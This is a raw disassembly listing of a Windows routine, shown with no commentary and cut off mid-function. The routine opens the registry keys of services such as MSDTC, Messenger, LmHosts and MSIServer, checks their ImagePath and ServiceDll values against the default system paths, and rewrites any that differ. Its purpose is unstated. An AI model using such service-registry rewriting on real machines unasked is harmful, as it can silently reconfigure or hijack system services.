push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0fee
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d0fb4
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x17cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x17cc]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0fe4
lea edx, [ebp - 0x17cc]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0fe4
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1105
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4d10b3
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x3e4c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x3e4c]
push str._system32_svchostdll.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d10f4
lea ecx, [ebp - 0x3e4c]
push str.System32_svchostdll.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d10f4
push str._SystemRoot_System32_svchostdll.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d110a
mov eax, dword [ebp - 0x14]
mov esi, 1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d110a
mov esi, 1
push str.IsmServ
call fcn.004fa6c0
push eax
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d113e
cmp dword [ebp - 0x28], esi
je 0x4d113e
cmp dword [ebp - 0x2c], esi
jne 0x4d1254
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1254
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d11f6
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x18cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x18cc]
push str._system32ismserv.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d124a
lea eax, [ebp - 0x18cc]
push str.System32ismserv.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d124a
push str._SystemRoot__system32ismserv.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d1222
lea ecx, [ebp - 0x2b8]
push str.ismserv.exe
push ecx
lea edx, [ebp - 0x5ccc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x5ccc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 1
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.LicenseService
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d1288
cmp dword [ebp - 0x28], esi
je 0x4d1288
cmp dword [ebp - 0x2c], esi
jne 0x4d1399
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1399
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d1340
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x474c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x474c]
push str._system32llssrv.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d138f
lea edx, [ebp - 0x474c]
push str.System32llssrv.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d138f
push str._SystemRoot__system32llssrv.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d136c
lea eax, [ebp - 0x2b8]
push str.llssrv.exe
push eax
lea ecx, [ebp - 0x55cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x55cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.LmHosts
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
jne 0x4d15b2
cmp dword [ebp - 0x28], 1
jne 0x4d15b2
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d14b3
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d1479
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x19cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x19cc]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d14a9
lea ecx, [ebp - 0x19cc]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d14a9
push str._SystemRoot__system32_svchost.exe__k_LocalService
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d15b2
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4d1578
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x3f4c]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x3f4c]
push str._system32lmhsvc.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d15a8
lea eax, [ebp - 0x3f4c]
push str.System32lmhsvc.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d15a8
push str._SystemRoot_System32lmhsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x2c], 1
jne 0x4d169f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d169f
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d1665
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x1acc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x1acc]
push str._system32_services.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d1695
lea ecx, [ebp - 0x1acc]
push str.System32_services.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d1695
push str._SystemRoot__system32_services.exe
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x30]
mov eax, 1
cmp ecx, eax
je 0x4d16b4
cmp dword [ebp - 0x34], eax
jne 0x4d18ae
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1797
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d175d
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x4f4c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x4f4c]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d178d
lea edx, [ebp - 0x4f4c]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d178d
push str._SystemRoot__system32_svchost.exe__k_LocalServiceNetworkRestricted
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d18ae
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4d185c
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x1bcc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x1bcc]
push str._system32lmhsvc.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d189d
lea ecx, [ebp - 0x1bcc]
push str.System32lmhsvc.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d189d
push str._SystemRoot_System32lmhsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d18b3
mov eax, dword [ebp - 0x14]
mov esi, 1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d18b3
mov esi, 1
push str.MSDTC
call fcn.004fa6c0
push eax
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
add esp, 0x10
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d19cc
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d196e
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x404c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x404c]
push str._system32msdtc.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d19c2
lea edx, [ebp - 0x404c]
push str.System32msdtc.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d19c2
push str._SystemRoot__system32msdtc.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d199a
lea eax, [ebp - 0x2b8]
push str.msdtc.exe
push eax
lea ecx, [ebp - 0x60cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x60cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.MSFtpsvc
call fcn.004fa6c0
push eax
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d1a00
cmp dword [ebp - 0x28], esi
je 0x4d1a00
cmp dword [ebp - 0x2c], esi
jne 0x4d1afa
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1afa
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d1a9c
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x1ccc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x1ccc]
push str._system32inetsrvinetinfo.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d1af0
lea eax, [ebp - 0x1ccc]
push str.System32inetsrvinetinfo.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d1af0
push str._SystemRoot__system32inetsrvinetinfo.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d1ac8
lea ecx, [ebp - 0x2b8]
push str.inetsrvinetinfo.exe
push ecx
lea edx, [ebp - 0x56cc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x56cc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 1
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.MSIServer
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d1b2e
cmp dword [ebp - 0x28], esi
je 0x4d1b2e
cmp dword [ebp - 0x2c], esi
jne 0x4d1c45
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1c45
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d1bca
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x484c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x484c]
push str._system32msiexec.exe__V
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d1c19
lea ecx, [ebp - 0x484c]
push str.System32msiexec.exe__V
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d1c19
push str._SystemRoot__system32msiexec.exe__V
call fcn.004fa6c0
add esp, 4
jmp 0x4d1bf6
lea edx, [ebp - 0x2b8]
push str.msiexec.exe__V
push edx
lea eax, [ebp - 0x5dcc]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [ebp - 0x5dcc]
push ecx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x238]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [ebp - 0x238], 2
call ebx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Messenger
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x28]
add esp, 0x10
cmp eax, 1
je 0x4d1c78
cmp dword [ebp - 0x24], 1
jne 0x4d1e5a
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1d5b
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d1d21
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x1dcc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x1dcc]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d1d51
lea edx, [ebp - 0x1dcc]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d1d51
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1e5a
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4d1e20
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x414c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x414c]
push str._system32msgsvc.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d1e50
lea ecx, [ebp - 0x414c]
push str.System32msgsvc.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d1e50
push str._SystemRoot_System32msgsvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x2c], 1
jne 0x4d1f75
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d1f75
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d1f1c
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x1ecc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x1ecc]
push str._system32_services.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d1f6b
lea edx, [ebp - 0x1ecc]
push str.System32_services.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d1f6b
push str._SystemRoot__system32_services.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d1f48
lea eax, [ebp - 0x2b8]
push str.services.exe
push eax
lea ecx, [ebp - 0x57cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x57cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x52d06c
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4d1fb3
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4d1fb3
cmp dword [ebp - 0x2c], eax
jne 0x4d2195
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d2096
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d205c
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x4c4c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x4c4c]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d208c
lea ecx, [ebp - 0x4c4c]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d208c
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
